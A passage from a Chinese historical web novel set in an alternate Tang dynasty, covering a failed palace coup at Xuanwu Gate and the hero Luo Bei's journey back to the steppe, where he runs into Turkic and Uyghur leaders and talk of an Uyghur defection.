他这番话可谓中正之言,李重俊听完也脸色稍平:“孝嵩说得有理。可朕近日总在想,事缓则圆,或许……” “陛下,”张孝嵩轻轻打断了他的犹豫,坚定地道:“但凡新制,朝野必有议论,非此一例。陛下身为人主,所应考虑的不是这些议论,而是实效。” “实效?” “到底有多少女子受益于女学,又有几位女官能从女科中脱颖而出,胜任其职。”张孝嵩道,“若是此事惠及天下女子,能使教男不教女的情形得到改善,使得参配阴阳,通达神明,才是符合人伦之举,也是陛下应当考虑之事。” 李重俊点头应了,这才打起精神,又把自己投进那堆劝谏的奏疏之中去了。 这一夜天气暗沉,没有一点月光。连星星也不多见。李重俊直到半夜才批完奏疏,也懒得挪窝,干脆就在紫宸殿中睡下了。 一片伸手不见五指的夜色中,李隆基正在对一众将士朗声宣告: “昔年太宗以六骑定颉利可汗于渭水,长安得以保全。如今我们有六百精兵,何愁大事不成!” “诸位兄弟,随我入宫!诛杀昏君!” 第220章 “上天不公,为何叫我与此人生同时?!” 除却除夕、上元之外, 夜色降临之后的长安城素来是一片寂静祥和景象。 朱雀大道上不见人烟,东市西市也已不复白日繁华,唯有坊墙之内笙歌不断。 李显在时, 宫中宫人数千, 到了晚上,他还召来不少人宴乐,大明宫的晚上从未冷清过。但李重俊登基之位,大放宫人之后,原本热闹的宫城内几乎成了长安城最冷清的地方。 在这样寂静的夜色里, 连绵如急雨的马蹄声显得分外响亮。 李隆基带着麾下兵马一路疾驰,一路顺畅,他几乎是未遇到任何阻拦便来到了宫门之下——或许是宿命, 这次他自禁苑向南发兵,所遇到的第一道宫门依旧是玄武门。 武德九年,太宗皇帝在此诛杀李建成、李元吉。神龙元年, 李显在此叫开宫门, 率兵入宫,复立李唐。不久之前的景龙七年,李重俊也是在此进入大明宫,成为大唐的主人。 李隆基坐在马上, 命刘幽求放出约定的暗号,片刻之后, 一阵吱呀齿轮声传来,如他与陈玄礼等人所约定的那般,玄武门已经缓缓开启。 他心念一起, 正要催马上前,一声呼喊自上头传来: “三郎!收手吧!” 李隆基没想到能在这里听到自己父亲的声音, 心下大震,他不敢置信地抬头望去,黑夜之间看不清人脸,只看到了弓箭手箭尖的寒光。 他的计划,暴露了。 李旦见他愣神,恨不得跳下城楼去规劝这个不听话的儿子清醒一点,奈何郝灵荃带着两个禁军士兵一左一右地望着他,叫他不敢乱动。他只得张口大喊: “三郎,陛下如天之仁,已经应了我的请求,赦免了你和你的部下!你若此时回头,还能保全性命!切莫再执迷不悟,否则便是万劫不复,连我也保不住你!” 李隆基心中一凛,父亲的话如同重锤敲击在他的心上。 是啊,如今计划绝无成功的可能,若此刻收手,他还能退回去做个普通平民,与妻子儿女相伴一生。 然而,他心中仍有一丝不甘,毕竟已经走到了这一步,怎能轻易放弃?他紧握缰绳,犹豫不决,目光在父亲的方向和玄武门之间徘徊。 “三郎,听父王的话!你若再不回头,我便亲自下令,叫人放箭了!” 李旦的声音中带着一丝颤抖,他素来性格恬淡,带着家人一退再退,只想从刀光剑影中保得一点安宁,但现在,眼前这个他极力保全的儿子是要把全家人带入深渊之中。 李旦把话说到这个地步,李隆基不禁回头望了一眼,那些跟随他的将士们也是一脸的迷茫与惶恐。 他们大多是被他一时的豪情壮志所感染,却未曾想过事情会发展到如此地步。李隆基深吸一口气,试图平复内心的波澜。但一口郁气卡在胸中,叫他不能在此时低头: “父王!为什么你要站在李重俊那一边?!” “你也做过皇帝,你也是太宗皇帝的子孙,难道你就不想恢复李唐的荣耀吗?为什么你要屈服于李重俊之下,眼睁睁看着他胡作非为,将祖宗基业败坏殆尽?!” 李隆基的声音在夜色中回荡,带着几分悲愤和不解。 饶是李旦自己也没有想到,他这个儿子能执迷不悟至此。他听完之后,手脚发软,几乎连站都站不住了。 “扶住相王叔。”李重俊极愤怒地一甩衣袖,正要亲自开口与李隆基辩论,却被一边的姚崇拦住了: “陛下九五至尊,不必亲立危墙之下。” 他温声建议道:“请陛下令禁军弹压其威,再出面示以赦免其随从,则其军心不战自溃。” 李重俊颔首:“若能免于流血,也好。洛卿……可否请你出手,弹压其威?” 洛北本立在李重俊身侧半步,见皇帝开口,便低声应允。 他摸出一枚羽箭,放在弓弦之上,用力一拉。 弦声鸣响如玉崩,羽箭如流星一般划破夜空,在李隆基不及反应之前,便深深射中其头盔。 洛北把力道控制得极好,羽箭带着头盔一道坠地,发出一声惊天动地的轰鸣。 满场的人都被这神乎其技的功夫震住了。 李隆基身后那六百余人,除却一些禁军军官之外,就是他自己在潞州招募的家奴兵勇,哪里见过这个场面?有好几个人连马都骑不稳了,一个个摔倒在地、伏地不起。 “殿下!您没事吧?”刘幽求急忙策马上前,扶住李隆基。李隆基摸了摸被箭矢擦过的地方,虽然没有受伤,但惊魂未定,心中更是震惊不已。 他抬头看向城楼,不知何时,城楼上亮起了两排火把,把城楼上的一张张人脸照得分外清晰:脸上犹有怒容的皇帝李重俊,侍立在他身后的一众宰相们,分立两侧的禁军将领们,还有…… 在众人之间最为格格不入的,一身素服的洛北。 他的身影在火光之下显得格外冷峻,那张弓箭仍稳稳地握在手中,仿佛随时准备再次发箭。 刘幽求在民间,常常听闻这位大唐军神的诸多传说。传说洛北统领亲军,素以鸣镝为号,鸣镝所至之处,便是箭雨所至之处。 这场仗到了现在,已经没有打下去的意义了。 “殿下,这……”刘幽求的声音中带着一丝颤抖,他知道,此刻的局势已经完全被压制,李隆基的计划已经彻底失败了。 城楼上传来李重俊的声音: “众将士听着,念尔受人蛊惑,放下武器者免死!负隅顽抗者,杀无赦!” 随着第一声刀兵落地之声,那六百余人一个个伏地求饶。刘幽求眼见大势已去,抽刀长笑一声: “微臣对朝政不满,蛊惑赵王叛乱,今日之罪,罪在微臣。但请陛下将微臣挫骨扬灰,勿再起兄弟相杀之念也!” 他说罢,横刀要往脖颈间抹去。 说时迟那时快,一道羽箭深深扎入他的右肩之中,他痛得手中一抖,横刀滚落在地、发出一连串声响。 李重俊朗声道:“刘幽求!你不要以为自己一死,就可以把事情遮盖过去。如今三法司已经查明,紫薇阁大火与你有关。朕现在不会杀你,而是要把你送去三法司,明正典刑,以儆效尤!” 那羽箭此次洞穿极深,鲜血很快染红了刘幽求半边衣裳,他望着城楼上的洛北,自牙缝里挤出了一句话: “上天不公,为何叫我与此人生同时?!” 玄武门中走出两列禁军,为首者正是左羽林军大将军李多祚,他一声令下,禁军众将士将李隆基等人一道绑缚起来,送到了李重俊面前。 李重俊来到玄武门下,看了李隆基一眼,最终还是什么都没有说,便摇头而去。 次日清晨,长安城中的所有人都知道了再度宫变的消息。 皇帝李重俊显然是气极了,他下令封闭相王府、赵王府,相王府属官与赵王府属官皆待罪在家,不得随意外出。 与李隆基走得近的大臣及禁军皆由三法司询问……刘幽求、钟绍京等更是直接打入大牢之中,连李隆基自己也被削去宗籍爵位,发往三法司待查。 要不是姚崇、萧至忠等一心劝阻,他怕是要连相王李旦也一起软禁起来。 朝野人人自危,长安城混乱一片,可这已经同单骑离京而去的洛北没有关系了。 天光大亮之时,洛北已经快马加鞭地追上了队列末尾。他走在春日的荒原之中,难得兴致勃勃地和褚沅说起朝政: “李隆基、刘幽求一党反对女科,天下皆知。如今他们犯上作乱,便将此事与叛逆挂上了钩,就是有些大臣有心反对,如今也不会再开口了。” 褚沅难得看他心情轻松,不禁笑道:“我还以为阿兄会在长安多留些时日再回来,救驾之功,怎么样也该值个亲王爵位不是?” 洛北摇了摇头:“我已有万户之封,何须再来一个亲王爵位让自己不自在?我高兴的是,有了李隆基叛乱之事在前,就不会让众人都把目光盯在你身上。” “阿兄这话是什么意思?” 洛北轻轻笑了笑:“你自己执政一方,又与代我执政不同。之前朝野物议沸腾,少不得会有有心之人在你手下做文章,说不定还会有人干刺王杀驾的勾当。如今李隆基的事情闹得这么大,那些有心之人只会生怕自己和逆党扯上关系……你也就安全许多。” 褚沅这才反应过来,脸上微微红了:“阿兄赶着回去召开金山大会,不会也是为了重建卫队,好派出兵马来保护我吧?” “自然不是。”洛北看出她的担忧,笑笑地替她解围,“我重建卫队,其一是因为朝廷规制,使持节出入皆有六纛,其二则是因为吐蕃局势,其三才是为了个人安全……” 他极目远望,远方的关卡已经出现在地平线上,这是离开长安的最后一道关卡,很快他们就要离开雍州地界,一路向西北前行,回到草原上去。 “传我命令!”他微夹马腹,呼喝上前:“分拆辎重队及仪仗队,轻骑全速前进!务必在六月之前赶到金山!” 220-230 第221章 “天地所生,蒙大唐天子之命统领各部的西突厥十姓可汗阿史那乌特。” 洛北与王训驱马驰骋在无垠碧草之间。 自他从长安匆匆折返, 他命哥舒亶执掌仪仗,与褚沅一道押后安抚百姓。自己带着轻骑一路狂奔,数日之内就到了凉州。 冰河沟的长天总是一碧如洗, 天地之交是绵延不绝的祁连山, 洛北随同慕容曦光一道在大可汗陵墓前洒酒致意,又在吐谷浑人的营帐之中为他们寻到了居处。 吐谷浑部中还有人认得洛北这位曾经的年轻郎中——他们没有把他同那位战无不胜的“乌特特勤”联系在一起。人们载歌载舞地欢迎他和自己的族长一道归来,为他们奉上酒水与宴席。 于是原本沉默的王训越发沉默,似乎要把自己的呼吸也变得几不可闻。 “王训。”洛北喊这个沉默的少年,“你会骑马吗?” 王训点头:“从前和我父亲学过。”他几乎想要唉声叹气, 又不敢在洛北面前露出软弱模样,只好又垂着脑袋。 “那走吧。”洛北打了个呼哨,唤来自己的骏马, “随我一道散散心。” 随着骏马驰骋在草海之上,王训压抑的心情也变得明媚起来。他几度策马扬鞭,越过洛北的马头数十步, 才冒失地反应过来, 高高勒住马头,不好意思回头望他: “洛将军……” 洛北轻轻笑了,他催马几步,赶到王训身后:“我在你这么大的时候, 遇到事情,也不敢说话。但一腔心绪总要有释放之处, 于是就借着各种机会出去跑马射箭。” 王训的眼神一下子亮了,他转过头去望向洛北,颇有些期待地听他说下去。 “我那时候就想, 如果能一直这样奔跑下去就好了,越过阴山, 穿过河套,越过千里的草原与旷野……天下之大,总能寻到我可以归去的地方。” 洛北放缓声音,用难得柔和的声音说话: “不过没有一次真的成行,我总是在暮色四合时随意射出几箭,再把猎物带回去当作搪塞人们口舌的物证……后来牙帐内传说,我是刻意磨练骑射,好早日能够统兵前线。” “那然后呢?”王训没忍住开口。 “对我来说,就没有然后了。谣言一起,我这小小的爱好也只能宣告沉寂。倒是我的一个朋友听闻此事,总闹着要和我比上一场赛马……”洛北一笑,“这些年风风雨雨,他竟然一直不能得偿所愿。” 王训没敢问洛北的朋友是谁,他望着身前的无垠碧草,再度陷入一片沉寂,片刻他才开口:“将军是想安慰我吗?” 洛北点了点头:“如果你觉得是的话,就算是吧。”他眯着眼睛,看着远方天际那一抹红霞浅浅消弭于地平线上,“走吧,天黑之前,要找到借宿的地方。” “借宿的地方?!”王训第一次没绷住神情,惊叫失声,“将军不回吐谷浑部族去了?!” “论身份,曦光是我的下属,他要同他的族人叙旧,横插进你我,是不会自在的。”洛北道,“走吧,草原上的牧民有句话:‘你父母的财产只有一半属于自己,剩下的属于客人。’只要你别再叫我将军,就不会给我们惹麻烦。” 王训一时怔住:“那我该怎么称呼您?” “你和我的年纪,叫论辈分实在论不清楚。我曾经的亲卫们叫我’公子‘,要是你愿意按照突厥的规矩来,叫我伯克也行。”洛北道。 王训想了想,还是低头叫了他一声“伯克”才罢。 两人复又策马奔驰在茫茫的草原上,很快便寻到一处生了篝火的部落,洛北以突厥语向年迈的族长道明来意,很容易就得到了一顶干净的营帐安眠。 洛北慷慨地把自己马背上挂的肉干和美酒分出来给部族的子弟们一起畅饮。 他这样大方,族长也不好意思吝啬,只得命令子弟们杀了一只肥羊分享。 为着这来之不易的美酒,人们一道围坐在篝火旁欢歌起舞,王训本对这些毫无兴趣,怎奈何人们起哄连连,连洛北都端着酒杯劝他下去跳一圈,他便也下场去跟着跑了两圈。 “我从前还没学过这个。”睡前王训把衣服叠成枕头垫在脑后,笑笑地和洛北絮叨:“哥舒将军总说,他们草原的儿女生来就会跳舞,可我看他家的那个翰儿跳得也一般么。” “哥舒翰?他在我印象里还是个小孩子。”洛北有些感慨,“一转眼他都到了能上前线的岁数了。” “他时常和我说起您,说起您在于阗治军时,何其威风……”王训还要絮叨什么,要说的话却抵不过困意,脑袋点了几下,终于陷入一片安然的黑暗之中。 洛北见他安然闭目,又用手在他面前挥舞几下算作试探,才默然起身。他自墙上取下弓箭,又把那把削铁如泥的唐刀佩在腰间,方才挑帘出帐。 帐外一片火光,几乎映红了他的脸颊。 眼前是手持弓箭和武器的部族牧民,身后是破旧的帐篷,洛北反倒好整以暇地半抱手臂:“我在草原上生活了很久,从来没听过有哪家部族这样对待客人,报出你们的姓氏!你们的祖先应当知道他的子孙在为他蒙羞!” 他金棕色的眸子在火光映衬之下犹如淬火的利刃,目光扫过之处,人人垂头不语。唯有族长高昂着头与他对视: “不要冒充草原的子孙了,狡诈的汉人!哪怕你的突厥话说得再好,你的作派再像突厥人,也掩盖不了你身上的气息……若不是汉人,怎么会连我的药酒都药不倒你?” 洛北沉默地盯着他,双手已经放在身侧,他的右手靠近箭囊,微微用食指拿住了箭囊里的羽箭。 那族长依旧喋喋不休:“我们曾经轻信你们,致使我们的族人被掳掠为奴,我们的家园被洗劫一空,我们强大的部族只剩下这些青年和孩子……你应当为你们的所作所为付出代价!” 他向下一挥手,便有身侧的两个青年弯弓搭箭。然而洛北的手比他们更快,那两人几乎在自己弓弦还未及张开的时候,便已经直直地倒了下去。 洛北松开弓箭,厉声斥问:“怎么?还有人要上来与我对阵吗?” 族长的脸色瞬间变得铁青,他咬牙切齿地瞪着洛北,但身体却微微颤抖。 周围的牧民们也纷纷后退,他们深知,眼前的这个“汉人”绝非易与之辈。 “他只有一个人!无论怎么样也逃不出去的,上上上!”族长见状,连忙招呼众人一道围攻。 周围的牧民们显然有些犹豫不决。他们虽然手持武器,但面对洛北那如刀锋般锐利的目光,却不敢轻易上前。 族长只得怒吼一声,率先冲向洛北,手中的弯刀在火光中划出一道寒光。 洛北微微一笑,身形如风般闪动,轻松避开了族长的攻击。他的动作敏捷而优雅,仿佛在草原上驰骋的猎豹。 族长整个人扑了空,险些摔倒在地。周围的牧民们见状,纷纷惊呼,但仍然没有人敢轻易上前。 “你们真的要逼我动手?”洛北沉声道,“我并不想伤害你们,但你们的族长似乎并不理解这一点。” 族长艰难地站稳身形,脸上露出一丝狰狞:“你以为你真的能离开这里吗?我们族人众多,你不过是一个人!” “是吗?”洛北冷笑一声,弯弓搭箭,向天际射出一只鸣镝。 鸣镝划破长夜,发出一声尖锐的呼啸。寂静的草原深夜之中,鸣镝声将传到很远很远——足够召来一支军队。 这是草原各部的首领和将军们才会拥有的东西,怎么会出现在一个行路的汉人手中? “你怎么会有鸣镝,你到底是……”族长再也支撑不住,只能跌坐在地,一脸惊讶地瞪着他。 “我是阿史那乌特。”洛北冷声道,“天地所生,蒙大唐天子之命统领各部的西突厥十姓可汗阿史那乌特。” “乌特特勤……” 这个传闻中的名字再度在众人口中传响,立刻引起一圈窃窃私语的涟漪,人们交谈着,议论着,在“乌特特勤”这个名字之下,百发百中的神射手和出手如闪光的凌厉身形都有了更好的解释。 洛北以目光扫过众人,把他们的议论声都压了下去: “按照草原上的规矩,我应当杀掉这里每一个对我动手的人,方能平息天地与祖先的愤怒。” 洛北的声音在夜风中回荡,带着一丝冷峻, “但念在事出有因,我给你们一个解释的机会。在我的卫队来到这里之前,告诉我之前发生了什么。” 次日清晨,王训起床时,只觉得脑袋微微有些沉重。他就着几个孩子打来的水洗了洗脸,方觉清爽,想要道谢,又发现自己不会说突厥话的谢谢。 还是洛北转过身来,从包裹里掏出一把糖果给他们:“这个孩子说,把糖果分给你们,谢谢你们给我们端水来。” 那几个孩子似乎有些怕他,见状只是后退几步,还是洛北硬塞在他们手上,才战战兢兢地接过,连声谢也不道,转身就跑了。 “伯克,他们这是怎么啦?”王训好奇地转头问洛北。 洛北正在漱口,闻言只是漫不经心地摇了摇头,以示他并不知道。 王训点了点头,又问:“那我能不能知道,您包裹里为什么会有糖果?” 洛北仔细想了想:“习惯了,从前我在凉州做参军,经常到草原上来给各部的牧民看病,为了尽快和他们亲近起来,就常在包裹里备着糖果。” 王训“哦”了一声,他有些难以想象洛北这个人为人诊治的模样,只得再度岔开话题:“那伯克,我们今天回吐谷浑部去吗?” “不。”洛北摇了摇头,“我们要去凉州城,我有些事务要找郭知运处置,你同我一道去。” 王训本来也没有拒绝的权力,闻言只是点头。他二人收拾一毕,就在整个营地奇怪的沉默氛围里重新上路了。 这日天光晴好,王训的心情已经大好,时常放马在前,去追逐那些兔子和野鹿。洛北悠悠地跟在他后面,看着他把射中的猎物挂在马鞍上。 “等一等,王训。”洛北叫住他,“你听,有马蹄声来了。” “马蹄声?”王训学着他的模样听去,压根什么都没听到。可地平线上确确实实出现了一面旗帜——而后是三面,四面。 “将军!”王训吓得声音都变了调子,“这好像是支骑队,得有二百人吧。” “没有那么多,最多一百二十人。”洛北扫了一眼众人,终于在看到为首的英武青年时忍不住微微皱眉。 那青年显然也看到了他,抽了两下马鞭,甩下身后的骑队,一路疾驰来到洛北面前。 “我听说昨晚草原上有人射出鸣镝。”阙特勤穿着一身簇新的绿绫袍,未戴金冠,只把编着金饰的辫发垂在肩头,笑容灿烂,“所以来看看是哪位将军到访。” 第222章 “突厥汗国的左贤王带着自己的卫队深入凉州草原,到底想要干什么?” 洛北笑了一声, 没有接话。倒是王训转过身来,有些为难地问了洛北一句:“伯克,这是……” 阙特勤乍听之下, 大为惊讶, 又把眼前这小子自上到下,自下到上地打量一番,才笑道:“我也是你家伯克的族人,曾经做过他的卫队长,你就叫我阿阙将军好啦。” 他汉话流利, 言笑晏晏,英武的脸上自有一番豪情,王训也露出一点笑意:“见过将军。” 阙特勤又笑了:“刚刚看你射箭, 你的箭法很好嘛,是你家伯克教你的?” 王训看了一眼洛北,见他正盯着其他地方, 脸上依旧一片平静, 只是摇了摇头:“不,不是……是我父亲教我的。” 他越说越有些心虚,话到末尾,声音都要压得几不可闻了。 阙特勤又有点惊讶, 他看向洛北,以极快的突厥话问了一句:“你的族人?” “我在禁军的时候, 他的父亲在我手下任职过,后来外放边疆,战死在吐蕃前线。”洛北以汉话给阙特勤解释, “哥舒亶担心他在吐蕃前线无人照拂,就把他带去长安托付给了我。” 他把目光投向王训:“弓箭上的功夫, 本来简单。你要想学,等到了碎叶,我教你就是了。” 王训没想到能得他应允,闻言大喜,躬身道礼:“多谢伯克!” “好了,再不追上去,你的鹿群就要跑远了。”洛北指了指不远处的鹿群。 “我一定打一只野鹿回来,当我的拜师礼!”王训会错了意,更是高兴,他立下一句豪言壮语,就匆匆去追赶那群饮水的鹿群了。 阙特勤不好意思地挠了挠头:“我就说,这孩子长得完全不像你,怎么可能是你的私生子。” “事情那么多,我哪有心思考虑私情。”洛北轻轻地叹了口气,“再说……” “再说什么?”阙特勤好奇地看着他,“你若真想成家,难道大唐天子还会不让?” 洛北笑着叹了口气,他望着天际,轻声道:“我两天前刚到凉州,就收到一个消息,成纪县主和我父亲添了个男孩子。朝廷大为欣喜,已以本蕃嫡子身份封了郡王世子。” 阙特勤瞪大眼睛:“可你已经是西突厥十姓可汗了吧,平白无故地换个幼子坐这个位置,大唐朝廷也不怕西域各部把他给吃了?” “我和这个弟弟差了二十八岁,要说担心他取代了我的位置,那是无稽之谈。只是我已向陛下要了永镇碛西的权力,父亲又有了嫡子……这一切都在逼我延续目前的状态。”洛北又深深地叹了口气:“所以,我不娶妻,不生子,对所有人来说都会是件好事。” “你怎么能这么想呢?!” 阙特勤忍不住把声音提高了八度,好在他们离身后的卫队已有一段距离,王训又在天边,才没让人听见, “乌特,你不该这样想,你为什么要为了这些虚无缥缈的东西牺牲自己的生活。” “我没有牺牲自己的生活。”洛北摇了摇头: “我只是选了一种与大部分人不同的生活。坦白来讲,这未必不是一件好事。古今中外多少君主,一生英明神武,可偏偏在子嗣问题上举棋不定,最终酿成祸患,足以为戒。” 他看向阙特勤:“譬如说默啜大汗吧,要不是阿史那匍俱拖了他的后腿,也不会晚节不保,落得那样的下场。” 阙特勤默然片刻,还是点头:“抛开他那个不成器的儿子,我叔可汗还算得一位雄主……”他也轻轻叹息一声,“既然你已经做了决定,我就不劝了。” 洛北颔首,语气中透出一点笑意:“那么,你现在可以告诉我,突厥汗国的左贤王带着自己的卫队深入凉州草原,到底想要干什么了吧?” 阙特勤见他直接拆穿,只好尴尬一笑:“好吧,告诉你也无妨。我来见新任的回纥首领伏帝匍。他找我来商量两家议和之后牧场的划分。” 伏帝匍出身铁勒九姓之一的回纥部药罗葛氏,其部族长年在漠北游牧,大唐征服草原之后,将其部族划在安北都护府下。 武周年间,突厥势大,为了避突厥的锋芒,朝廷命安北都护府南迁,又将回纥部和契苾、思结、浑四部迁到甘凉一带。其中以药罗葛氏部族最多,兵马雄壮,浅有四部首领之势。 洛北在凉州做参军时,也同这位回纥部药罗葛氏的首领之子打过不少交道。其人虽然性子骄傲固执,但对大唐一向忠心耿耿,是个敬佩英雄的人,如今怎么会越过凉州都督和大唐朝廷,直接和突厥汗国的左贤王阙特勤私下接触呢? 洛北将诸般可能一一想过,脸上却是一如既往的平静:“哦?你不怕这是伏帝匍的计策,专程为你设局,好来个请君入瓮?” 回纥部属于九姓铁勒,是突厥别部,素来受突厥的统治,大唐来到草原之前,铁勒人已经不堪突厥统治,叛乱不断——两家世代血仇,阙特勤又是冒险深入唐境,很难说伏帝匍会不会想拿阙特勤的脑袋去长安请赏。 “他不敢。”阙特勤斩钉截铁地回答,“如今大唐朝廷与突厥议和已定,他犯不着为了一点未必到手的功勋和我为难。更何况……他也应当知道,倘若我死在这里,你乌特一定会为我报仇。” 洛北有点错愕地望着阙特勤赤忱的双眼,一时之间竟不知说什么好,片刻之后,他才将右手放在额头上,挡住阳光,也挡住了自己可能从双目之中泄出的心绪: “看来我和你过从甚密已是天下皆知的事情,我也犯不着追查是谁上奏朝廷说我‘通敌叛国’了。” “你通敌叛国?”阙特勤哈哈大笑,“也亏得长安那群人想得出来。不过,既然在路上碰到了你,你就和我一道去一趟如何?这些草场、牧道,天下没有比你更熟悉的人了。若你在场,这谈判会容易得多。” 洛北沉吟片刻,微微点头:“好吧,那我就同你一道去一次回纥部。” “只是有一点麻烦。”阙特勤笑道,“我可没和伏帝匍说,大名鼎鼎的乌特特勤会同我一道,要不……你先扮成我的侍从,如何?” 他显然是已经想到了洛北扮成他侍从的模样,说着说着就忍不住笑出了声。 洛北倒是比他平静得多:“好啊,那我就做你的侍从。” 回纥部不像吐谷浑部已开始修筑城池,依旧保持着逐水草而居的习惯。他们在凉州的草原上有数千毡帐,远远望过去,毡帐错落有致地分布在广袤的草原上,宛如繁星点缀在无垠的绿色天幕之中。气势非凡。 洛北已经将头发再度放下,重新换上了突厥人的白紫华服,打马走在阙特勤身侧时,任谁来也丝毫看不出异样。 倒是苦了王训,他没穿过厚重粗粝的毡袍,要花些时间才能适应。 “劳烦通报你们首领,就说他等待的客人来了。”阙特勤驾马一路穿过营地,直到在首领的大帐之前才勒马停住。 大帐周边的首领近卫慌忙赶在他们身后,将他们团团围住。阙特勤打了个手势,示意自己的卫队放下武器,又以汉话重复了一遍: “他们汉人常说,有朋自远方来,不亦乐乎。就是按着草原上的规矩,也没有这样对待客人的。” 那为首的少年人语气逼人:“我怎么知道你们是敌是友!” “骨力裴罗!退下去!” 正在混乱之际,大帐里转出两个人,两人皆戴高冠,着锦袍,容貌也颇为相似。洛北一眼便认出,那是回纥首领兼瀚海都督伏帝匍和其子承宗。 在承宗的厉声呵斥之下,骨力裴罗才应了一声,不情不愿地退了下去,手中的弓箭却始终不肯放下。 他这一退,周围的护卫们也纷纷后退,但仍然警惕地盯着阙特勤一行人。伏帝匍快步上前,一手抚肩,躬身行礼,用略带沙哑的嗓音说道:“阙特勤远道而来,辛苦了。今日能与左贤王相见,实乃回纥部之幸。” 阙特勤翻身下马,大步上前,与伏帝匍双手相握,用力摇了几下,笑道: “伏帝匍首领客气了,我突厥与大唐重修盟好,天下太平,我才能与首领坐而论道。希望我们能开诚布公地谈一谈。” 伏帝匍微微一笑,目光扫过众人,又在洛北身上停下,眼中闪过一丝惊讶:“这位是……” “这位是我的书记官。”阙特勤抢先一步介绍道,“他汉话不好,但熟悉草原上的每一寸土地,此次是我特意请他来协助我们的。怎么,首领有异议?” 伏帝匍的目光在洛北身上停留了片刻,摇头道:“请左贤王莫怪,我只是看着这位伯克眼熟,所以才多问了一句。既然是左贤王的书记官,想来也是一位突厥贵胄,我们应当奉为上宾。” 他转身对承宗说道:“将客人请入大帐,备上最好的马奶酒和手抓羊肉,好好招待。” 承宗应了一声,转身离开,还不忘带走了一脸愤愤的骨力裴罗。伏帝匍则亲自引领阙特勤和洛北进入大帐。 大帐内部宽敞而明亮,正中摆放着一张巨大的木桌,上面摆满了各种食物和饮品。四周的毡垫上,坐着几位回纥部的贵胄,他们纷纷起身,向阙特勤和洛北行礼。 洛北将这些人一一扫过,心下更是不解:按照道理来说,伏帝匍私下会见阙特勤应当秘密进行,伏帝匍却把回纥部有头有脸的贵胄们都拉了过来。他的葫芦里卖的什么药? 第223章 这是叛国! “真是奇怪。” 酒过三巡, 菜过五味之后,阙特勤拉着洛北从闷热的大帐之中出来透气。夕阳西下,映衬出凉州草原似火奔流。 洛北因替他挡酒多喝了几杯, 此刻脸颊也微微泛红。他将身上袍服的领口略略松开半边, 才回答阙特勤的话: “你也觉得他们有问题?” 阙特勤“嗯”了一声:“且不说回纥部和汗国素有血仇,这次谈判他们遮遮掩掩的东西也太多了。把上好的牧场拱手送给我……莫说大唐朝廷不会答应,便是回纥部的子弟也不能同意。” “伏帝匍一定还有未露出来的打算。”洛北目光定在远方,声音极轻,“他们不像是沉得住气的性子, 我想……夜色降临时分,就会见分晓。” 阙特勤忍不住转头看了他一眼:“你昨天也没睡好吧?” 洛北被他问得一怔,他们都是久经沙场的战将, 不要说一夜不睡,便是连日连夜不眠不休,也是常见的事情。 “你去我的帐篷里睡会儿吧。”阙特勤对他眨了眨眼, “酒桌上的事情, 我自己来解决。今夜这场谈判恐怕远比指挥一场战争要难,没有你的帮助,我一个人是做不成的。” 他说罢,也不等洛北同意, 自己解开圆领袍的扣子,露出绫袍内衬的斑斓丝缎, 松快几步,又回到帐中与一众回纥贵胄们聊大天喝大酒去了。 春末时节,凉州的天黑得极晚, 又亮得极早。阙特勤转回帐中,只顾得上洗漱后换身衣裳, 帐外就已有人喊了一句: “左贤王睡下了吗?” 阙特勤与洛北对视一眼,那目光的意思是“果然来了。” 阙特勤整了整身上丝棉的袍服,又同洛北对坐在胡床上,看着桌上的一副地图。 洛北轻轻喊了一声:“请进来吧。”等到来人走进来,他才将地图草草收起,卷在一旁: “伏帝匍首领,深夜来访,有何要事啊?” 伏帝匍望了一眼洛北,显然没想到他也在这里:“我有些话要与左贤王相商,可否……” “首领请讲。”阙特勤佯作不知,只大马金刀地一挥手。 伏帝匍越发犹豫:“可否请,请书记官……” “哎,他不是外人。”阙特勤道,“首领有话直说便是。他是本王的亲信,难道首领还信不过?再说,你我议下来的事情,也要有人帮着整理成文不是?” “好。”阙特勤如此坚持,伏帝匍也不敢和他对着干。他往胡床上一坐,才道:“我请左贤王准许我部回到鄂尔浑河去!” 阙特勤神色一凛,语气也不由自主地沉了:“首领这话是什么意思?” 鄂尔浑河是漠北大河,发源自于都斤山森林茂盛的山坡。它向东流出山区,然后转向北,一路流入北方深邃的北海之中。这条大河不仅是铁勒部的故土,也是突厥汗国最好的牧场之一。 伏帝匍被他一喝,顿时涕泪俱下:“我绝无冒犯之心,只是唐家将领与我们素来不睦,如今我部已是一点活路也没有了。我们情愿归属突厥汗国,向伟大的毗伽可汗效忠,也不愿意留在唐家的土地上等死。” 阙特勤不用转头也知道此刻洛北已是面沉似水:“唐家将领,你是说郭知运?” 他自己与这位洛北手下第一得意的汉人将领打过数次交道,知道郭知运精通骑射,长于胆略的性格。他是如同洛北一样精通汉话及突厥、吐蕃语言的将领,怎么会犯这种错误? “不是郭都督。”伏帝匍长叹一口气,“我们也希望郭都督能留守凉州。可我听说,伟大的乌特特勤即将回归西域,他要调郭都督去陇右担任都督,继任的王君?将军与我等素来不睦……只怕凉州草原上从此再无宁日了!” 洛北一时静默,他在长安时鉴于吐蕃局势,建议姚崇征调郭知运去陇右前线任职。这才几日,凉州的回纥部首领就已经知道了消息,朝廷的消息未免传得也太快了。 王君?对阙特勤和洛北来说都是个陌生的名字,阙特勤忍不住回望了洛北一眼,见他依旧面色沉静,才放下心来: “这个人和你们有仇怨?” 伏帝匍摇了摇头:“他是瓜州人,会说一两句半通不通的突厥话,所以经常被郭知运派来找各部首领议事。我们可一向是好酒好肉地招待着的!谁想到他一朝掌权,竟然经常带着士兵打家劫舍,杀良冒功……他接替了郭都督的位置,我们河西各部哪个能服他!” 阙特勤知道他这话多少有些避重就轻,面上不表:“可唐家能容许你们这样回到漠北吗?这可是背叛。” “此事我们已经想好了。”伏帝匍从怀中掏出一份地图,双手递给了阙特勤:“乌特特勤回到西域之后,定会征召各部前往金山拜山。我部也会奉命西行——等到离开凉州城不远,立刻转向北行,一路狂奔,不花多久就能到突厥牙帐。” 阙特勤接过地图扫了一眼,又递给了洛北:“你把事情想得太简单了。你们画出的路线会经过碧水城的防区,那里的将军巴彦也是乌特特勤的旧部,你们想要回去,恐怕没那么容易。” 伏帝匍神情微酸:“左贤王不同意我这卑微的请求?” “回纥部人数众多,兵强马壮,骤然回归,不是汗国能承担得起的。”阙特勤皱眉道,“更何况,两家和议方成,要是为了回纥部再起征战,不是我此行的本意。” 伏帝匍不料他拒绝得如此坚定,一时之间愣在那里,不知如何回答。 反倒是洛北开口,温声道: 